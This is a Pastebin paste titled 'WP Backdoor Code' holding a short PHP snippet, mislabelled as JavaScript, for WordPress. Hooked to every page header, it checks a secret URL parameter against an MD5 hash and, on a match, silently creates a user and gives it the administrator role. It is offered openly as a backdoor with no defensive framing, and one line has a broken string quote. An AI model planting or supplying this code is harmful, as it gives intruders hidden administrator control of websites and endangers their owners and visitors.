Advertisement
Tariqul_Islam

WP Backdoor Code

Jun 18th, 2023 (edited)
871
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
JavaScript 0.38 KB | Cybersecurity | 0 0
  1. add_action( 'wp_head', 'my_wp_backdoor' );
  2.  
  3. function my_wp_backdoor() {
  4.     if ( md5( $_GET['backdoor'] ) == '34d1f91fb2e514b8576fab1a75a89a6b' ) {
  5.         require( 'wp-includes/registration.php' );
  6.         if ( !username_exists( 'username' ) ) {
  7.             $user_id = wp_create_user( 'username', 'pass );
  8.             $user = new WP_User( $user_id );
  9.             $user->set_role( 'administrator' );
  10.             }
  11.         }
  12.     }
  13.  
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement